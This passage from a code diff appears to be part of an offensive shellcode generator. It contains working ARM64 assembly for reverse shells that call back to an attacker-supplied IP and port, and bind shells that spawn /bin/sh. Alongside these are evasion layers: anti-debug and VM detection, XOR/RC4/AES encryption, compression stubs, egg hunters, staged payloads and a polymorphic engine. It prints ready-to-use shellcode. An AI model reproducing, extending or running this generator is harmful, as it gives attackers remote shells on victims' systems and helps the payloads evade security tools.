+ elif args.egg_hunter:
2007
+ print(f"{YELLOW}[*] Generating egg hunter...{RESET}", file=sys.stderr)
2008
+ egg_val = args.egg or b"\x00\x00\x00\x00"
2009
+ final_payload = egg_hunter(egg_val)
2010
+ print(
2011
+ f"{YELLOW}[*] Egg hunter size: {len(final_payload)} bytes{RESET}",
2012
+ file=sys.stderr,
2013
+ )
2014
+ elif args.staged:
2015
+ print(f"{YELLOW}[*] Generating staged payload...{RESET}", file=sys.stderr)
2016
+ stage1, stage2 = generate_staged_payload()
2017
+ print(
2018
+ f"{YELLOW}[*] Stage 1 size: {len(stage1)} bytes{RESET}",
2019
+ file=sys.stderr,
2020
+ )
2021
+ print(
2022
+ f"{YELLOW}[*] Stage 2 size: {len(stage2)} bytes{RESET}",
2023
+ file=sys.stderr,
2024
+ )
2025
+ print(f"\n{GREEN}[+] Stage 1 ({len(stage1)} bytes):{RESET}")
2026
+ print("".join(f"\\x{b:02x}" for b in stage1))
2027
+ print(f"\n{GREEN}[+] Stage 2 ({len(stage2)} bytes):{RESET}")
2028
+ print("".join(f"\\x{b:02x}" for b in stage2))
2029
+ return 0
2030
+ else:
2031
+ print(f"{YELLOW}[*] Generating core payload...{RESET}", file=sys.stderr)
2032
+ core_payload = generate_payload(
2033
+ args.ip,
2034
+ args.port,
2035
+ args.executable,
2036
+ args.junk,
2037
+ args.anti_emulation,
2038
+ args.stack_pivot,
2039
+ args.obfuscate_path,
2040
+ args.anti_debug,
2041
+ args.indirect_syscalls,
2042
+ payload_type=payload_type,
2043
+ ipv6=args.ipv6,
2044
+ domain=args.domain,
2045
+ bind_addr=args.bind_addr,
2046
+ sleep_seconds=args.sleep,
2047
+ vm_detect=args.vm_detect,
2048
+ parent_check=args.parent_check,
2049
+ egg=args.egg,
2050
+ base64_enc=args.base64,
2051
+ base32_enc=args.base32,
2052
+ aes_key=args.aes_key,
2053
+ rc4_key=args.rc4_key,
2054
+ )
2055
+ print(
2056
+ f"{YELLOW}[*] Core payload size: {len(core_payload)} bytes{RESET}",
2057
+ file=sys.stderr,
2058
+ )
2059
+
2060
+ final_payload = core_payload
2061
+ payload_size_before_rle = len(final_payload)
2062
+
2063
+ if args.rle:
2064
+ print(f"{YELLOW}[*] Applying RLE encoding...{RESET}", file=sys.stderr)
2065
+ encoded_payload = rle_encode(final_payload)
2066
+ print(
2067
+ f"{YELLOW}[*] RLE Encoded payload size: {len(encoded_payload)} bytes{RESET}",
2068
+ file=sys.stderr,
2069
+ )
2070
+ decoder_stub = rle_decoder_stub(payload_size_before_rle)
2071
+ print(
2072
+ f"{YELLOW}[*] RLE Decoder stub size: {len(decoder_stub)} bytes{RESET}",
2073
+ file=sys.stderr,
2074
+ )
2075
+ final_payload = decoder_stub + encoded_payload
2076
+ print(
2077
+ f"{YELLOW}[*] Total size with RLE stub: {len(final_payload)} bytes{RESET}",
2078
+ file=sys.stderr,
2079
+ )
2080
+
2081
+ if args.lz77:
2082
+ print(
2083
+ f"{YELLOW}[*] Applying LZ77 compression...{RESET}", file=sys.stderr
2084
+ )
2085
+ encoded_payload = lz77_encode(final_payload)
2086
+ print(
2087
+ f"{YELLOW}[*] LZ77 Compressed payload size: {len(encoded_payload)} bytes{RESET}",
2088
+ file=sys.stderr,
2089
+ )
2090
+ decoder_stub = lz77_decoder_stub(payload_size_before_rle)
2091
+ print(
2092
+ f"{YELLOW}[*] LZ77 Decoder stub size: {len(decoder_stub)} bytes{RESET}",
2093
+ file=sys.stderr,
2094
+ )
2095
+ final_payload = decoder_stub + encoded_payload
2096
+ print(
2097
+ f"{YELLOW}[*] Total size with LZ77 stub: {len(final_payload)} bytes{RESET}",
2098
+ file=sys.stderr,
2099
+ )
2100
+
2101
+ if args.xor_key is not None:
2102
+ print(
2103
+ f"{YELLOW}[*] Applying simple XOR encryption with key: {args.xor_key:#04x}{RESET}",
2104
+ file=sys.stderr,
2105
+ )
2106
+ final_payload = xor_encrypt(final_payload, args.xor_key)
2107
+
2108
+ if args.rolling_xor_key is not None:
2109
+ print(
2110
+ f"{YELLOW}[*] Applying rolling XOR encryption with starting key: {args.rolling_xor_key:#04x}{RESET}",
2111
+ file=sys.stderr,
2112
+ )
2113
+ decoder_stub = rolling_xor_decoder_stub(
2114
+ len(final_payload), args.rolling_xor_key
2115
+ )
2116
+ final_payload = decoder_stub + rolling_xor_encrypt(
2117
+ final_payload, args.rolling_xor_key
2118
+ )
2119
+ print(
2120
+ f"{YELLOW}[*] Rolling XOR decoder stub size: {len(decoder_stub)} bytes{RESET}",
2121
+ file=sys.stderr,
2122
+ )
2123
+ print(
2124
+ f"{YELLOW}[*] Total size with rolling XOR stub: {len(final_payload)} bytes{RESET}",
2125
+ file=sys.stderr,
2126
+ )
2127
+
2128
+ if args.polymorphic:
2129
+ print(
2130
+ f"{YELLOW}[*] Applying enhanced polymorphic obfuscation...{RESET}",
2131
+ file=sys.stderr,
2132
+ )
2133
+ final_payload = enhanced_polymorphic_engine(final_payload)
2134
+ print(
2135
+ f"{YELLOW}[*] Polymorphic payload size: {len(final_payload)} bytes{RESET}",
2136
+ file=sys.stderr,
2137
+ )
2138
+
2139
+ print(f"\n{GREEN}[+] Final Shellcode ({len(final_payload)} bytes):{RESET}")
2140
+ print("".join(f"\\x{b:02x}" for b in final_payload))
2141
+ print(f"\n{YELLOW}[*] Example Usage (Python):{RESET}")
2142
+ shellcode_example = "".join(f"\\x{b:02x}" for b in final_payload)
2143
+ print(f'shellcode = b"{shellcode_example}"')
2144
+
2145
+ except ValueError as e:
2146
+ print(f"\n{RED}[-] Error: {e}{RESET}", file=sys.stderr)
2147
+ return 1
2148
+ except Exception as e:
2149
+ print(
2150
+ f"\n{RED}[-] An unexpected error occurred during generation: {e}{RESET}",
2151
+ file=sys.stderr,
2152
+ )
2153
+ import traceback
2154
+
2155
+ traceback.print_exc()
2156
+ return 1
2157
+
2158
+ return 0
2159
+
2160
+
2161
+ def generate_arm64_reverse_shell(
2162
+ ip: str, port: int, executable_path: str = "/bin/sh"
2163
+ ) -> bytes:
2164
+ try:
2165
+ ip_bytes = socket.inet_aton(ip)
2166
+ except OSError:
2167
+ raise ValueError(f"Invalid IP address format: {ip}")
2168
+ port_bytes = port.to_bytes(2, "big")
2169
+ port_int = struct.unpack("<H", port_bytes)[0]
2170
+
2171
+ arm64_asm = f"""
2172
+ .arch armv8-a
2173
+ .section .shellcode,"awx"
2174
+
2175
+ # Create socket
2176
+ mov x0, 2
2177
+ mov x1, 1
2178
+ mov x2, 0
2179
+ mov x16, 198
2180
+ svc 0
2181
+ mov x19, x0
2182
+
2183
+ # Connect to target
2184
+ mov x0, x19
2185
+ sub sp, sp, 16
2186
+ # sockaddr_in structure
2187
+ mov w3, 2
2188
+ strh w3, [sp]
2189
+ mov w3, {port_int}
2190
+ strh w3, [sp, 2]
2191
+ ldr w3, =0x{ip_bytes.hex()}
2192
+ str w3, [sp, 4]
2193
+ mov x1, sp
2194
+ mov x2, 16
2195
+ mov x16, 203
2196
+ svc 0
2197
+ add sp, sp, 16
2198
+
2199
+ # dup2 for stdin, stdout, stderr
2200
+ mov x0, x19
2201
+ mov x1, 0
2202
+ mov x16, 33
2203
+ svc 0
2204
+ mov x0, x19
2205
+ mov x1, 1
2206
+ svc 0
2207
+ mov x0, x19
2208
+ mov x1, 2
2209
+ svc 0
2210
+
2211
+ # Push executable path
2212
+ sub sp, sp, 16
2213
+ mov x20, sp
2214
+ adr x21, path_string
2215
+ str x21, [sp]
2216
+ b exec
2217
+
2218
+ path_string:
2219
+ .ascii "{executable_path}\\x00"
2220
+ .align 4
2221
+
2222
+ exec:
2223
+ mov x0, x20
2224
+ mov x1, 0
2225
+ mov x2, 0
2226
+ mov x16, 221
2227
+ svc 0
2228
+
2229
+ # Exit on failure
2230
+ mov x0, 0
2231
+ mov x16, 93
2232
+ svc 0
2233
+ """
2234
+ try:
2235
+ context.arch = "arm64"
2236
+ return myasm(arm64_asm)
2237
+ except Exception as e:
2238
+ print(
2239
+ f"{RED}[-] Error assembling ARM64 reverse shell: {e}{RESET}",
2240
+ file=sys.stderr,
2241
+ )
2242
+ raise
2243
+ finally:
2244
+ context.arch = "amd64"
2245
+
2246
+
2247
+ def generate_arm64_bind_shell(port: int, bind_addr: str = "0.0.0.0") -> bytes:
2248
+ try:
2249
+ ip_bytes = socket.inet_aton(bind_addr)
2250
+ except OSError:
2251
+ raise ValueError(f"Invalid bind address: {bind_addr}")
2252
+ port_bytes = port.to_bytes(2, "big")
2253
+ port_int = struct.unpack("<H", port_bytes)[0]
2254
+
2255
+ arm64_asm = f"""
2256
+ .arch armv8-a
2257
+ .section .shellcode,"awx"
2258
+
2259
+ # Create socket
2260
+ mov x0, 2
2261
+ mov x1, 1
2262
+ mov x2, 0
2263
+ mov x16, 198
2264
+ svc 0
2265
+ mov x19, x0
2266
+
2267
+ # Bind socket
2268
+ mov x0, x19
2269
+ sub sp, sp, 16
2270
+ mov w3, 2
2271
+ strh w3, [sp]
2272
+ mov w3, {port_int}
2273
+ strh w3, [sp, 2]
2274
+ ldr w3, =0x{ip_bytes.hex()}
2275
+ str w3, [sp, 4]
2276
+ mov x1, sp
2277
+ mov x2, 16
2278
+ mov x16, 200
2279
+ svc 0
2280
+ add sp, sp, 16
2281
+
2282
+ # Listen
2283
+ mov x0, x19
2284
+ mov x1, 0
2285
+ mov x16, 201
2286
+ svc 0
2287
+
2288
+ # Accept connection
2289
+ mov x0, x19
2290
+ sub sp, sp, 16
2291
+ mov x1, sp
2292
+ mov x2, sp
2293
+ add x2, x2, 16
2294
+ mov x16, 202
2295
+ svc 0
2296
+ mov x19, x0
2297
+ add sp, sp, 16
2298
+
2299
+ # dup2 for stdin, stdout, stderr
2300
+ mov x0, x19
2301
+ mov x1, 0
2302
+ mov x16, 33
2303
+ svc 0
2304
+ mov x0, x19
2305
+ mov x1, 1
2306
+ svc 0
2307
+ mov x0, x19
2308
+ mov x1, 2
2309
+ svc 0
2310
+
2311
+ # Execute shell
2312
+ sub sp, sp, 16
2313
+ mov x20, sp
2314
+ adr x21, path_string
2315
+ str x21, [sp]
2316
+ mov x0, x20
2317
+ mov x1, 0
2318
+ mov x2, 0
2319
+ mov x16, 221
2320
+ svc 0
2321
+ add sp, sp, 16
2322
+
2323
+ # Exit
2324
+ mov x0, 0
2325
+ mov x16, 93
2326
+ svc 0
2327
+
2328
+ path_string:
2329
+ .ascii "/bin/sh\\x00"
2330
+ .align 4
2331
+ """
2332
+ try:
2333
+ context.arch = "arm64"
2334
+ return myasm(arm64_asm)
2335
+ except Exception as e:
2336
+ print(
2337
+ f"{RED}[-] Error assembling ARM64 bind shell: {e}{RESET}", file=sys.stderr
2338
+ )
2339
+ raise
2340
+ finally:
2341
+ context.arch = "amd64"
2342
+
2343
+
2344
+ def generate_arm64_payload(
2345
+ ip: str | None,
2346
+ port: int | None,
2347
+ executable_path: str = "/bin/sh",
2348
+ payload_type: str = "reverse",
2349
+ bind_addr: str = "0.0.0.0",
2350
+ ) -> bytes:
2351
+ if payload_type == "reverse" and ip and port:
2352
+ return generate_arm64_reverse_shell(ip, port, executable_path)
2353
+ elif payload_type == "bind" and port:
2354
+ return generate_arm64_bind_shell(port, bind_addr)
2355
+ else:
2356
+ raise ValueError("Invalid payload configuration for ARM64")